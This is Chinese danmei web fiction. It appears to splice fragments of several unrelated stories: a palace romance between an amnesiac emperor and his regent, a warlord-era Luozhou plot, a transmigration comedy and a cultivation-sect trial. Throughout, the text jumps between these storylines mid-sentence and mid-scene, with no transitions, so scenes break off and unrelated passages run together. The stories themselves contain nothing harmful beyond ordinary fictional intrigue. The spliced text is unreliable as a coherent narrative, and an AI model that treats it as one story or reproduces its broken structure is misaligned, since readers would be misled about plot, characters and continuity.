一天后,却发现卫留夷正抱着那小瘸猫,还说它可爱。 这可不得了了。 明明是他万分嫌弃、看都不肯多看一眼的东西,可卫留夷想要,那他就突然也想要了。 当年,两个小世子为了一只丑猫闹得难看,双双被父亲揍。 最后邵霄凌抢到了猫。 一直养到前几年寿终正寝,每年都抱去贴卫留夷的脸招摇。 如今昨日重现。 赵离玄不明白,这洛州少主是大晚上的……是被什么不干净的东西附了身么? 怎么突然搂他,又再度冷不丁伸手来捏住了他的下巴。 一如既往的嫌弃脸。 他是真不懂这二世祖,不想看他大可不看!却非要凑上来,正欲让他起开,却不成想对方突然欠身,猝不及防在他唇角亲了一口。 赵离玄:“……” 赵离玄:“…………” 楚丹樨的风灯灭了,一片黑寂。 而赵离玄此时此刻,满脑子只被“后悔”二字充斥。 草率了,真的。就算是为了躲卫留夷,他也不该上那张灯结彩十里红妆的船。 这不一目了然船主人脑袋必有问题吗??他为何以身犯险? 然而。 此时此刻,气不起来。 大概实在是无必要与蠢人生气,他只叹道:“少主,我适才叫你,是想与你商议——今日该来之人中,有一重要之人称病没来。” 洛州路霆云老将军,手握洛州一半军权。 今日赵离玄虽与大多文官武官相谈甚欢,但老爷子不来,就是个棘手的大问题。 他是要跟邵霄凌商量这个,他以为他会同样很是烦恼此事。毕竟整个洛州如今模样,洛南栀大都督之前的书信都难掩憔悴心焦。 少主更该愁得吃不下睡不着才是。 这二世祖倒好!! 能看出来,他想要努力保持风度。可本就玄冷的目光在移向赵离玄时,直接眼底生了冰,看他舒舒服服靠在别人怀里,像在看什么没心没肺的怪物。 赵离玄:“……” 大概他们如今,都互觉对方“没心没肺”吧。 他作为被敲骨吸髓的一方,虽觉荒谬,可仔细想想,倒也能够释然—— 正确来说,不是释然,应该叫“有经验”。 毕竟卫留夷并非第一个仗着他的喜欢胡作非为,觉得一切优待都是“理所当然”之人。 亦不是第一个在他绝望抽身后不甘、愤怒,纠缠不休之人。 赵离玄一开始是无论如何也想不通,后来则渐渐明白了。 这些人,是被他那盲目而又慷慨的大量馈赠给养刁了胃口,也砸贪了心。 以至于后来他只是不再愿意无脑给了,就记恨上了他。 完全忘记了那些馈赠从一开始就不属于他们,都只是月华城主疯狂心动时不管不顾舔舔舔而做出的蠢事。 等到舔狗清醒过来,自然就没有了。 人总不能一辈子都命好,指望天天都有大冤种双手捧上的好东西! 同一时间。 钟声阵阵,盐粒细雪,寒风刺骨。 大夏众官员或提着灯、打着伞,冒着大雪乌压压走在上朝议政的步道上。 “奚卿,奚卿!” 吏部验封司司长徐子真披着白狐袄,打着一把油纸伞跑得气喘吁吁。 “奚卿,你冷静点!!!此事不妥,极为不妥!” “奚行检。” “你给我站住!”不过吧。 他与这姜沉之间的关系,好像不用恢复记忆,也已经呼之欲出。 毕竟,还能是什么关系? 堂堂天子甫一醒来,便撞上一个绝色大权臣对他又掐又砍、极尽忤逆,红着双目厉声控诉他没有心。 可在他两眼一黑昏倒以后,却又不眠不休守着他照顾他、偷亲他手指。 都这样了,还能让一国之君怎么想? 种种迹象搭配小话本权臣男宠与狗皇帝的故事蓝本,不能更一目了然。 大概唯一不同的就是,在那小话本里,从头到尾就只有狗皇嚷嚷着对权臣男宠喊打喊杀,而权臣男宠却始终好整以暇笑眯眯。 毕竟话本里的男宠得的可全是实惠。 成天春风得意、床上满意,就算被狗皇帝红着眼汪汪狂吠两声咬上两口,也全当情趣了。又怎会怨恨皇帝呢? 他这边情况却明显复杂得多。 姜沉一边心疼他,一边红着眼想要砍死他掐死他。 赵离玄 所以说,他失忆前到到底得是个什么样让人牙痒痒的不同寻常狗皇帝,才能让一个那么好看又嚣张的大美人权臣爱他欲他生、恨他欲他死? 屋内安静。 忽然,一阵幽香倾轧。 姜沉俯下身,冰凉的发蹭着他的脸颊,声音低沉又危险:“阿玄,醒了?” 好容易他扯住那人衣袖,被他唤作“奚卿”的男子过回头。 男子三十出头,有一双沉静的烟灰色琉璃瞳,生得端肃儒雅、清峻挺拔。 他长身玉立穿着整齐顶戴、红绦白衣官礼服,系着紫玉腰牌,腰牌旁边悬着一把剑。 徐子真无奈叹气,伸手就去摘他腰上那剑。 这个人!身为文官竟敢早朝佩剑上殿! 真是急死他了,一大清早便听奚卿家里人急急来报,说这奚行检竟昨儿晚上直接给自己买上了一口棺材! 年纪轻轻前途无量的大理寺卿,他买了口棺材放在家中!!! 这是彻底打算要破釜沉舟了? 可徐子真哪能让他如此冲动不要命。 他两人是挚交好友,当年同在锦裕二年恩科高中,奚行检是那年科举的状元,他则是二甲第二名。 从此之后,为官共事整整九年,双双平步青云辅佐皇帝左右。 大理寺卿奚行检两袖清风断案清明,大夏冤假错案大量减少,民间高呼奚行检为青天大老爷。如此国之栋梁,高风亮节人尽皆知,举国称赞。 真的什么都好,徐子真也觉得奚卿什么都好。 就是这认死理的性子必须要改改,不然终有一日在官场要吃了大亏! “奚卿三思!”他压低声音。 “赵离玄如今重伤未愈在深宫将养,我等不可轻举妄动,前车之鉴,你想想荀长、想想师律!” “想想他们被发配边关多少年回不来,你此番若再得罪了姜沉被贬出京城,那赵离玄身边还有谁?” “奚卿,咱们须忍!留得青山在,不怕没柴烧!” 奚行检:“青山?” 他一双烟灰眸子望向挚友,眼底一片清清雪色。 “人尽皆知,赵离玄‘养伤’已近三月,这三月间,姜沉始终不许群臣面圣问安。” “个中蹊跷,余论纷纷。姜沉为人阴狠叵测,你又何知晓青山尚且依旧否?!” 徐子真一时无话。 这几个月来,皇帝重伤“养病”不见人,姜沉独揽大权。 朝中私下早已经流言纷纷,说赵离玄多半被囚、甚至可能已遭姜沉毒手。 但,此事虽一直有人私下传说,明地里却从来无人敢问! 毕竟谁不要命了敢当面质疑姜沉,问姜沉要人? 谁不知道那姜沉姜青瞿军功卓著、兵权在握、功高震主。 徐子真遥想当年自己作为皇帝身边谋士,也曾多次私底下暗戳戳劝过皇帝养虎为患终是不妥,不如早下手为强。 却不成想天子仁慈终是晚了一步。 一夕风云突变。如今姜沉已把持朝政,翻手为云覆手为雨。这几个月把朝中不服他的官员找各种理由贬出京城,众臣可谓人人自危。 还好徐子真一向谨慎低调两袖清风。 虽是皇帝的人,却一直没让姜沉抓到什么把柄。 好友奚行检倒是急躁冲动嘴又毒经常得罪人。但奚卿毕竟天独厚、本家与姜沉有亲缘,非要算起来的话,奚行检还算是姜沉的远房表叔。 因而也得以周全,在大理寺安安稳稳办案。 却不成想如此沉不住气! 姜沉放他一马,他自己急着往那油锅里跳! 他们确实想不到居然有人能那么没脸没皮。尽在功法输了个彻底,还能另辟蹊径,在别的地方疯狂找补? 比如千奇百怪的戏弄,以及在穿搭品味上的较劲??? 其实单论容貌,赵离玄绝对没有姜沉那般惊艳。 可他实在肯下血本! 终日华丽绸缎加身,什么鲛绡、云锦、流光缎,恨不得一天换三套;走起路来环佩叮当,灵光宝气几乎要闪瞎人眼,华丽得活像只开屏的孔雀,通身上下写满了“闲雅富贵”。 反观姜沉,却永远素净得像山巅的积雪。 墨发也只用简单木簪或发带束起,浑身上下找不到半点多余装饰,朴素得同门看了都恨铁不成钢! 实在是白瞎了那么好看一张脸,倒是稍微拾掇一下啊? 烛火之下,他那一刻的眸光很难以形容。 像是带了笑意,又像是几分迷惑。直盯得赵离玄浑身不自在。 “看、看什么看!再看把你眼珠子抠出来!”一杯酸甜的青梅茶很快见底。 赵离玄遥想一系列本该难以收场的作死结果。 比如他涉政惹怒姜沉,从此真被取而代之。 又或者姜沉翻脸将他打入大牢永不翻身。是真的大牢,吃馊稀饭到处虫子爬的那种,不是寝宫里闲情逸致的假幽禁。 那样的事,一件都没发生。 反观他这只把姜沉弄得眼眶发红的狗皇帝,此刻在干嘛呢? 哦,他又在大咧咧地批着奏章了。 如果这不叫蹬鼻子上脸,什么还能叫蹬鼻子上脸。 姜沉喜欢他这般花式作死不停歇么?姜沉自是不喜,瞧这都一个多时辰过去了依旧面如寒冰。 但气成这样,姜沉说什么了么? 姜沉没有。 综上所述,姜沉对他这狗皇帝到底还有没有底线可言? 没有。完全就没有。 这场豪赌赵离玄赢了,赢得很彻底。 照这么下去,开宫门锁、摆驾还朝都指日可待。应该敲锣打鼓放鞭炮。 卧槽,不是比喝酒?不是比谁海量吗? 明明比茶的时候是比喝茶啊不对不对,赵深突然心塞比的好像是泡茶!最后让人印象深刻的喝茶一幕,不过是评判环节而已! “我这儿有酿酒法器轩辕酒壶!两只一对儿,先借执剑长老一只罢。” 月沐萱说着,递过一只梨子形状的白瓷法宝:“原料放在这里,只要一炷香时间,就会出好酒来!那么咱们去枫叶山庄后厨挑各种谷物瓜果来,半个时辰之后见分晓!” 说罢,自己先运起轻功翩然而去。 赵深后背已经汗得湿透透的,游魂一般转身,吊死鬼脸看姜慎行。 “姜总,接下来,我想问你个问题。” “嗯,赵编你说。” “你的回答,攸关我的终身大事以及一辈子的名誉,请你一定要认认真真、好好答复我。” 姜慎行吞了吞口水,偷看了一眼姜沉。这么严肃!这是要突然求婚的节奏吗?赵编你正主还在旁边坐着呢! “姜总,你”赵深压低声音道,“是不是有空间戒指?” 姜慎行:“卧槽,你怎么知道的?” “卧槽我怎么能不知道?除非你那袖子是小叮当的异次元口袋吧?” 姜慎行撇了撇嘴,委屈脸,“我确实是有空间戒指,但宝箱里真的只有一个。” “一个就够了!” “呜,赵编,我、我知道你是男主,也知道作为NPC,有什么好东西理应自觉上供但是!随时随地吃零食可是我在这个世界唯一的乐趣啊!你知道我多不容易吗?你知道这个小姜的身体居然怎么吃都不会胖,所以可以敞开了吃有多爽有多嗨吗?” 赵深黑线:“我又不是要你戒指!” 第 35 章 第 35 章 不知不觉,就走入了后山一个通透的山洞。钟乳石上滴水处,生着一些像是月桂一样的植物,赵深眼睛一亮,记得在《渡血剑》中一次宫渡被困于山洞中,曾以此物为食,后功力大增。 “这东西叫做苦糖根,姜前辈知道吗?” 姜沉缓缓摇了摇头:“这名字好生奇怪。糖又如何会是苦的呢?” “因为这东西每十根甜,就有一根是苦的。甜的味如蜜糖,苦的则特别特别苦。有不少人喜欢闭眼吃着玩,就为了赌运气。” 吃? 姜沉默默听着。 明灯下双眸清浅、阴晴不定。 赵离玄看到了,亦比谁都清楚,有些话他本不应说,一如有些奏章他就不该碰。 而眼下此种行径,纯属是在给自己没事找事、主动作大死。 他才醒了几天? 前尘往事都不记得、人又被幽禁重伤、起居注被烧、全盘局势晦涩不明。 此番境况,按说应彻底收敛锋芒、韬光养晦、装傻充楞以图苟活才是正道。 结果他呢? 上蹿下跳一刻不停,一个被关寝宫的傀儡皇帝竟还胆大包天伸手去批奏章,批完还敢大着脸主动跟摄政王讨论! 区区傀儡阶下囚摆不正自己位置,简直无异于求速死。 真实深宫可不是甜甜小话本,岂能容一个失势被囚的皇帝萌混过关。信不信摄政王盛怒朱笔一批,直接将你个昏君一笔勾销改朝换代取而代之? 这些,赵离玄自然都是想到了的。 可同时,却也有另一个道理 那便是人生在世,有时不赌一赌、在危险边缘反复试探一下,便永远也不可能知道结果。 他是可以装傻,但又能装傻充楞到几时? 何况与姜沉这种大权臣玩心眼,他确定他的心眼够用,真能玩上一辈子? 权衡利弊,倒不如干脆头铁到底,舍得一身剐去伸手撸大猫。 何况赵离玄多少还是有一点有恃无恐的。 他看着眼前姜沉漂亮的浅色眼睛,就赌自己哪怕真的作了大死,最后也是死不了。 他赌姜沉在乎他。 赌他再生气,最后也只能继续拿他毫无办法。 赵离玄觉得他能赌赢。 自古摄政王幽禁天子,若只是为了弄权或者挟天子以令群臣,只需保证他个狗皇帝最低限度地活着就可以了,又何必要演出满腔深情? 没问题的。 我可以,我能赢。我这波稳赚不亏。 着实这东西生得太过其貌不扬,像是带土的根茎似的,姜沉怎么看它都不像可食用之物。却见赵深拿了一个放进口中:“嗯,好甜~姜前辈试试看?” 姜沉将信将疑从赵深手中接过一根,尝了一口,转身吐掉了。 “哎?这、这第一次就苦的吗?那,再来一根试试。” 骗子!数日后,仙门上下议论纷纷。 “听说了吗?赵师兄竟在秘境中对姜师弟下了毒手!连白师弟也险遭池鱼之殃。” “真的假的?他虽一向行事偏激,但总不至于大敌当前竟还” “你懂什么,乱世艰险才最易滋生歹念!好在白师兄随身带了留影石,清清楚楚记下了他的行凶证据!” “哈哈哈终于人赃并获了!” “啊?你问他图什么?哇,这么些年他一直嫉妒姜师弟,从师弟进门就一直处处针对,你都没看到哇?!” “肯定是眼看这次姜师弟被委以重任,又独闯紫晶秘境立下大功,狗急跳墙了!” “赵离玄心胸狭窄睚眦必报,这事他绝对干得出来。” “可怜白师兄拼死带出留影石,却被打得血肉模糊,至今未醒。” “姜师弟醒来后亦一言不发定是寒透了心!毕竟纵使往日不和,好歹他一向以德报怨、还将掌门印信托付,本以为赵离玄能改过向善呢。可谁知!” “这还不算,那赵离玄还欺师灭祖” “证据确凿还负隅顽抗,连长老都敢打!”皇宫外,昔日忠臣知晓天子没事,如释重负敲锣打鼓过大年。 幽居深宫的皇帝完全没被那喜悦感染到。 皇帝今天甚是无聊。邵霄凌犹记父兄还在时,他多么逍遥。 总爱睡到日上三竿才起。出门美美去酒楼吃顿好的再听个曲儿眯着睡一会儿,一睁眼便已日薄黄昏。再喝个美酒,转眼就是第二日中午。 从没想过,一天亦可如斯漫长—— 清早下船,饿着肚子顶着烈日东西市采买,大汗淋漓回了侯府火速沐浴更衣,又赶去陪月华城主参加午宴。 午宴之上,洛州百官齐聚。 赵离玄一身洛南栀为他准备的清雅素贵长袍,戴着半块金面具。 谨言慎行、细心观之。 自打天昌之战,洛州旧主罹难,原本旧主的得力亲信干将也大部分都在那次战场中死的死、折的折。 此后,人心涣散。 余下部将中不安分的,早已另寻出路各投新主。其余有才文官也被各方割据重金诱聘,陆续走了不少能人。 如今人才凋敝。 但往好处想,肯留下来共患难的,至少忠心不二。 不单对如今一力扛起洛州的大都督洛南栀忠心,就连这二世祖说话,目测也还算管用。 如此,赵离玄便放心了。 他初来乍到,想做一番事情,最怕手下官员不服生事。 而如洛州这般摇摇欲坠,又未必有足够的时日让他收拾。好在眼前情况比想象中要容易许多。 许是眼下摊子实在太烂,谁也没信心兜得住,又许是他在民间的传闻奇事过多,洛州官员都当他是救命稻草。 宴会上,众人纷纷表示愿以月华城主马首是瞻。 赵离玄:“……” “诸位肯如此信离玄,离玄必不负所托。” “大都督的安危,大家自不必担心。我与东泽盟军纪散宜关系交好,已请他出兵设法牵制西凉。” 满座皆惊。 如今乱世,天下纷纷。与南越不同,东泽那边早就乱成一团,农民起义军遍地都是,纪散宜就是眼下乌合之众中势力极大的一方豪强。 而大夏合州各府之主,无论是他们少主邵霄凌还是隔壁卫留夷,都是名门公亲王侯之后。之前谁也不愿屈尊降贵与来历不明之人交往。 当日不肯来往,如今便高攀不上。 谁知月华城主交友广泛,竟与此人说得上话! 百官个个面露喜色:“这……若是东泽纪盟军肯出兵相援,那可真是旧主恩泽,佑我洛州了!” “大都督将此人请来洛州,果然真知灼见。” “月华城主名不虚传。” “我敬城主一杯!” 邵霄凌震惊于这丑人仅仅三言两语就切中要害、得了人心。 这还没完。 午宴过后,文官们又陪月华城主一同巡视安沐城防。 月华城主真不愧是如话本里所说,这么些年各地巡游。既知最为健硕的随州战马该如何繁配养护,又懂易守难攻的仪州千郡城防秘诀何在。 官员们如闻仙乐,拼命记记记。 金口玉言太管用了,真乃雪中送炭,令人涕零! 晚宴之前,赵离玄还主动请了安沐城的武将们同去都督府,一起推演沙盘。 邵霄凌自小不愿读书,打仗倒是有一些无师自通的天赋。 沙盘推演中,洛州武将往往在月华城主面前撑不到一炷香便被杀得败下阵来。大家都是上过战场之人,自然清楚月华城主绝非浪得虚名。纵使懊恼不甘,却又十分叹服,争着诚心求教。 唯有邵霄凌不读兵书,自有自的打法。 神出鬼没辗转腾挪,倒是稍稍替他麾下的将军们扳回了一些颜面。 赵离玄望着他:“洛州侯竟是用兵如神,离玄佩服。” 那当然!邵霄凌得意。 虽然最后还是输了,但他毕竟生生撑下了半个时辰,被夸得一时飘飘然,直到晚饭都吃了一半,才又兀自暗暗暴躁起来。 他本天之骄子,才华异于常人。 他用这丑人夸?用这丑人夸?? 姜沉去上个早朝去了好久,整整一上午都不见人影。弄得皇帝如深宫怨妃一样花式翘首以盼。 爱卿快回来~我甚百无聊赖。 没有貌美爱卿在身边给我观瞻鉴赏,我这一早过得可真·闲! 着实没丁点事做。史书一本没有,奏折又已批完。 赵离玄都后悔昨晚没给自己留几份折子今天批。 皇帝没事做,侍女闻樱也闲着。 小姑娘在角落一边待着命,一边乖兮兮地偷拿出针线,继续戳她未缝完的一只淡黄色的荷包。 皇帝背着手在旁左看看,右看看。荷包上鸳鸯戏图水绣的极好,十分灵动。 闻樱被他盯得极不自在:“赵离玄” 赵离玄:“绣得真不错,教教我?” 闻樱 闻樱:“啥?” 大夏的古怪深宫秘史,今日也跌宕起伏难以预测。 堂堂锦裕帝说要学绣花。 赵离玄倒是自有道理他反正都学给人篦头了,也不怕多一样手艺。 古人云,技多不压身。 这样万一将来被姜沉流放去到什么光头佛国,梳头吃不开了,还能去天桥底下绣个花维持生计。 唉,落毛的天子实属不易。 皇帝说学绣花,还真撸起袖子就学。 闻樱教是教了,却暗自十分惶恐不安。曾听说过天子荒淫、也听说过木匠皇帝,却闻所未闻天子绣花! 这若是被后世史官知道了,别说皇帝,她这一世清誉也全毁了啊! 到时候还不知会被传成什么妖妃侍女魅惑主上,竟把赵离玄带坏去做女红针线活??? 赵离玄梳头上手快,针线活也上手快。 不出一个时辰便顺手了,拿针戳戳戳的不亦乐乎。 古人云,狡帝三窟。 他已经想好,他要绣个半拉荷包,再绣个半拉“岚”字。绣好贴身藏着。 这样下次再不小心惹怒姜沉被掐脖子,他便可以扭一扭,让贴身荷包掉出来。 到时候姜沉看见天子亲手替他绣荷包,如此情真意切,还如何生气得起来? 棒哉,我甚英明。 不过荷包还是太难绣了,玉络子就简单得多。 干脆我给姜沉打个丑到极致的五彩笼玉络子! 让姜沉那么俊美正经的人成天穿戴个奇丑的络子去上朝给群臣看,哈哈哈哈。 很快,宗门公审。 肃穆的大殿中,赵离玄被缚魔索紧紧捆绑,跪在中央。脸上身上伤痕累累,脊背却依旧挺直。 掌门厉声喝问:“赵离玄,你可知错?” “咳”赵离玄倔强抬头,咳出一口血沫,“问一百次我也是一样说法老子本是想去救姜沉那废物。是他自己被幻雾所迷,入魔伤我在先!我为自保才不得不还击!” “混账!事到如今还敢信口雌黄!你与他素来不睦,怎会好心救他?” “就是!谁不知若无姜沉,下任掌门之位你便有一争之力?”药宗长老在一旁煽风点火。 “是,”赵离玄咧嘴冷笑,“掌门没他,或许能轮到我做。可药宗长老一职便是没你,也八辈也轮不到你那废物儿子我倒想问药宗长老,白霜澄手无缚鸡之力,入那紫晶秘境意欲何为?” “说不出来了吧?多半,姜沉入魔,也都是你们父子搞的鬼!!!” “你你你你血口喷人!掌门啊~那秘境您可是昨日亲自下山查验过的啊,不曾有过何幻术痕迹,留影石亦毫无问题。证据确凿这赵离玄还敢倒打一耙,分明是” 一番争执,弟子赵离玄始终不服管束、言语狂悖。 最后掌门不得不令执法弟子强行给他灌下“真言露”。 这下赵深的脸面也有点挂不住了:“十根甜的才一根苦的,前辈这、这运气实在也姜总,哎姜总?这东西是十甜一苦我没记错吧?” 姜慎行捣蒜一样点头。赵深又掰了一根放在嘴里嚼,确实还是甜的。 “前辈,最后一次!”然而无用。 已知所有的姜沉都是纸大猫。 更何况姜沉虽勒着他,却还在小心翼翼地避开他身上未愈的伤。 这也太 皇帝不免更加肆无忌惮地地扭了扭腰。 怎能不得意! 有人神仙样貌、还这般心疼珍惜我,我一生有幸得美人真心以待简直速死无憾。 他酥着骨头伸手又去玩姜沉头发。 勾,卷,绕。 手指被捉住,终听到姜沉一声叹气。 姜沉在他身边躺下,似是有些丧气又不甘心,终是把他又重新揽进了的怀中。 “阿玄,为何?” “嗯?” “阿玄不是说,什么都不记得了。” “既然什么都不记得,却为何还能看得懂奏章。” “既然什么都不记得,为何不但清楚频嘉城与洛京城隔江相望,记得国库银两不多,还知道京城之畔有沂水。” 姜沉已有些生闷气的样子:“执剑长老怕只是在消遣我?” “离玄”都变成“执剑长老”了。赵深汗颜。 “真的!最后一次!” 但万一又是苦的不就坑爹了?挑了手中一根咬了一小口,嗯,甜。 “姜前辈若是不介意,嚼我这根咬过一口的?” 本以为那人不会再搭理他,没想到姜沉却只是低声道:“我从来不曾疑过离玄你,你不准骗我。” 嗯。 我不骗你啊。 我答应你,以后无论什么事情,我都一定不会骗你的。 无色的薄唇几乎蹭到了指尖,赵深只觉得整个手都在火辣辣的麻痒。别人分桃断袖。今天,也让姜沉吃了一根他咬过的苦糖根。 唉,真的何德何能。 可是这么回想起来姜沉之前从他手中吃药、吃他煲的汤做的酒酿圆子,也都吃就吃了,确实从来不曾防他。 明明被人骗过,又受过那么多伤,为什么还 也还好你是遇上了我!一辈子统共也没几个人对你好,所以但凡对你好一点,你就那么愿意相信别人。万一又是骗你的可怎么办? 这样的人是众人心目中的大魔头,这个世界肯定哪里出问题了。 真是叫人放心不下! 第 36 章 第 36 章 赵深眼下的境况是既是无力委屈,又觉得死而无憾。 死而无憾的是,姜沉此刻正从后面整个抱着他。骨感的手覆在他小腹上轻轻揉着,一股暖流循着半死不活的身子溢满了进来。 那人的手明明平日里都是冰凉冰凉的。 却为了他提起气来弄得很暖。 这个笨蛋都说了不要妄动真气。真是 像雏鸟一般瑟缩窝在那人怀里,赵深昏昏沉沉中想着能被这么温柔对待,怕是再怎么受罪也值了。 委屈的则是华小珍你确定有在治我? 在身上一通乱扎,手都跟刺猬一样了,疼痛却一点点、一点点都没有缓解! “呜”那真言露药力直侵神魂,能使服用者一时无法撒谎,只能吐露真实心声。 众人都以为此番他必再无从狡辩。又一个时辰过去,姜沉依旧沉沉未醒。 赵离玄中间站起来再度吃了个粥、喝了个茶、伸了几个懒腰,又回去接着批。 他处理国家大事很是上头。 再说了,他撸袖子辛苦多批几份,姜沉就能少批几份,就能多睡一会儿。 大美人睡饱了就不会再那么憔悴了,就能更美更好看。 一箭双雕。 瞧瞧锦裕帝,一个多么勤政爱民又怜香惜玉的好昏君! 不过话又说回来,这么多折子堆积如山,姜沉本是打算一个人批完的么? 赵离玄觉得这样不行。 就算是摄政王,这么多活儿也不能一个人干,不然累死都干不完!待会儿姜沉醒了,赵离玄觉得他得跟他好好说到说道,多分一点给下面,又不是底下三省六部都没别人了,明明还是有很多不错的官员的。 比如这个“刑部大理寺卿奚行俭”。 大理寺主承办案。 这奚卿作为主持,不但疏离案情有理有据,留的批注更是有趣。 此人嘴毒,批复往往尖酸刻薄直戳要害,字字玑珠痛骂判错案子的地方官,许多发回去重审的案卷上不带脏字骂人祖宗十八代真骂得畅快极了! 和那多才多艺的胡璐一样,也是个不可多得的人才。 深得帝心。 赵离玄果断记下“胡璐”与“奚行检”二人名字。 宝藏官员必须重点关注以待提拔,为了大夏的长治久安。 奚卿啊奚卿,你虽身为大理寺卿,居刑部三首已是位高权重。 但可知内阁已在向你招手? 国之栋梁留名青史一步之遥,勉之! 可谁成想 “我呸!” 药力作用下,赵离玄却只更加癫狂嚣张:“我赵离玄平行端坐正,本就从不说谎!但今日,既然诸位非要听真话,老子便让你们听个痛快!” “先说这这棠棣仙门,看似超然物外,实则也与凡间毫无二致人人各怀鬼胎、钻营算计、嫉贤妒能、蛇鼠一窝!” “再说白长老!您与山下女子无媒苟合,生下好大儿白霜澄资质太差,不得不偷偷修炼的禁术,需不需要我帮您广而告之?去年药宗采购,你那批以次充好的千年火芝,又要如何解释?” “还有你戒律长老!表面公正严明,私下收受多少‘孝敬’?炼器堂长老您亦不遑多让,您那侄儿上次秘境考核作弊的隐形符是哪来的,又是谁帮忙包庇?” 他越说越畅快高兴,目光扫过全场尽是讥讽:“还有你们这些一个个知晓是非黑白,却为明哲保身、装聋作哑的所谓真人长老们!” “都从不觉一丝羞耻吗?” 一时,大殿内烛火摇曳、落针可闻。 赵离玄剧烈喘息,目光又死死越过人群,盯住远处大殿下重伤刚醒、脸色惨白的姜沉。 “再说说姜师弟。” “师弟心地纯善,曾同我说过说你一介孤儿,幸得师门栽培、同辈友爱,在这仙门之中寻到归处。” “那你又可曾得见我的前车之鉴?”时至今日。 大船顺流南下,晴空万里。 一路,邵霄凌偷偷观察赵离玄。 都说月华城主给各路枭雄送这送那却没一个人肯要他。在邵霄凌的想象中,这赵离玄该是丑得令人发指。 可事实情况…… 却是身形清峻、高挑挺拔,并未毁容的半边脸轮廓清晰、俊朗端正。 此刻人正站在船头,拿着一张洛州地图对比岸边湖光山色陷入沉思,口中念念有词比划着什么。 背影看久了,尚算入眼。 正如邵霄凌之前的评价一般——若未毁容,本该是个气质不凡、月朗风清的俊朗青年。 然而事实是容貌已毁,再可惜也没用。 邵霄凌想了想,那面具之下延伸出来的疤痕与毒纹,一般人也确实接受不了,难怪没人要。 更别说他的双手脚腕处都还缠有层层绷带,甚至绑到手掌和小腿,听闻那下面的皮肤还都是溃烂的,想想就糟心,也是够让人皱眉绕道的。 正想着,那赵离玄回头望着他。 目光接触,邵霄凌忙扭头避开。谁知那人竟直直朝他走来。 唉,嫌弃,想跑。 赵离玄才懒得理这洛州二世祖拿腔作怪的嫌弃,正事要紧。 “离玄想请教少主几个问题。” 洛州地图在眼前被铺开。 赵离玄话很密,问题极多,没个完。 邵霄凌虽听得头大,却也知道是正事,再不情愿也只能配合。 半月之前,杀父仇人仪州侯樱祖出兵攻打洛州边境临城,洛南栀带兵救援。谁想临城之围虽解,大军却在回程途中被西凉军偷袭,困在边境小城唐沙之中至今不得出。 也是正因如此,才是邵霄凌去接的赵离玄。 好在唐沙小城富庶,尚有足年余粮。只要固守不出,无论是西凉还是仪州的粮草都拖不起,迟早撤军。 这也是邵霄凌没有太过担心好友的缘由。 可在赵离玄看来,虽说洛南栀拖得起,但若能早日解了唐沙直围,或者更贪心一些……干脆帮洛州把从安沐到唐沙之间近期被瓜分失陷的四城尽数拿回。 邵霄凌虽然一副纨绔二世祖的模样,可真问他全州军防、粮草道路,他倒一一是清楚的。 毕竟也是少主,还不算昏庸到无可救药。 赵离玄问了一个多时辰,心中渐渐有了底。 眼下情势,并非全然无解。 他觉得他应该能够研究出一个既能收复失地,又兼早日解救出洛南栀之法。 邵霄凌:“……” 这人,干什么啊? 突然就笑了,继而拿着地图就走了。 这月华城主虽容貌被毁,一天天看着心情倒是不错。 邵霄凌不懂。再一想,刚刚那人指着地图上的城池时,是不是靠他过近了些?那绷带下修长的手指,是不是还若有似无地碰他了?是不是还偷偷吸了两口他身上的熏香? 登时一阵别扭,在袖上嫌弃地抹啊抹。 “你只道长老待你和气,却不知他们哪里真心在乎你死活?不过是你眼下于宗门颜面尚有大用,而一旦有人越过你去,你必立刻便遭弃若敝履!” “那些捧着你的师兄弟更不知心里何等艳羡嫉妒你,只待哪日你跌落云端,必将狠狠践踏!” “你却为这些人不惜屡屡只身涉险,肝脑涂地。” “师弟,你究竟要何时才能看清?你这几年所信任与珍惜的,不过是一场梦幻泡影?” “赵离玄!”掌门声音极言厉色,“你嫉贤妒能,陷害同门。如今还要妖言惑众!” “我妖言惑众?” “呵,这些年间,究竟是谁妖言惑众、嫉贤妒能,才能让这全宗门上下尽数鄙夷我出身,又嫉妒我天赋,流言蜚语见不得我得意?呜” 嘴被咒术强行堵上,只剩愤懑呜咽。 “疯了!彻底疯了!”掌门拍案震怒,“赵离玄,你乞儿出身,宗门待本你不薄,你却因嫉妒癫狂残害同门,屡教不改、其心可诛!” 姜沉整个上午都水逆。 清早遇远房表叔闹事,朝堂中兵部户部又推诿吵架、互不相让。 诸多琐事,忙了好几个时辰累得黑着脸天下朝回来。 楚微宫暖阳透窗,安安静静,皇帝在绣花。 皇帝他在。 绣。花。 一个俊朗的男人叉着两条大长腿山匪大王姿势坐在茶榻上,却拿着针一丝不苟地绣,那画面要多违和有多违和。 姜沉不禁头疼,可能是太累出现幻觉了。 “青卿回来了!” 居然不是幻觉,姜沉更加头疼。 这是一个喜欢折子的皇帝,迎过来时先接了折子。 还是一个很吵的皇帝。 一边把折子往茶榻上堆,一边不忘叹道身在高位也是不易,日复一日奏折批不完。 但许是他声音实在沉稳好听,又许是他日日精神自带灿烂,全不似前朝奚行检、徐子真等一般斗鸡似的又或者一众老臣成日棺材板脸。 姜沉固然头疼,但成日是跟那群无趣之人周旋累了,看见有朝气的人还是心情变好。 皇帝放完折子又跑回姜沉面前。 姜沉默默地,指尖微微动了动。 赵离玄:“~~~~” 来呀,快活呀。摸我呀。 观察姜沉真有趣。 姜沉起初应是想抱他的,却又似是迟疑天子尊驾不容亵渎。 可挣扎着,又自顾自微微懊恼起来,仿佛在说此人反正已是本王掌中之物凭什么我就不能抱! 赵离玄:就是就是,我瞧你之前几日也没少肆意亵渎我,继续来呗我受得住! 我就喜欢被美人亵渎! 一阵香风,终于他还是给抱住了。 姜沉不抱人则已。 一抱起来就不释手。 不止如此还埋头在皇帝肩膀,深吸了一口又一口,续命一般。 旁人吸猫你吸我。 好久好久,真的好久。很好。 殷勤这么半天总算露出狐狸尾巴。 姜沉放下筷子森冷看他,结果对面赵皇帝不但不惧,竟还有脸掌心向上:“不能不给,姜沉答应过我的。” 姜沉:“何时答应过?” 赵离玄:“答应过的!青卿说过我猜对就给我看史书的。可不许抵赖,小姜。” 小姜。 姜沉浅瞳震动。 “阿玄适才,叫我什么?” “呃,小姜。” 姜沉呼吸微促,兀自愣了一会儿。 他那样神情是赵离玄从来没见过的。清浅的双目中浮光闪动,似是陷入重重回忆般透出一丝恍惚、几分青涩与不安。 那神色让赵离玄是既是惊艳,又是不解:“怎、怎么了?小姜不能叫么?” 姜沉这才回过神来,缓缓摇头。 “不是,没有。” 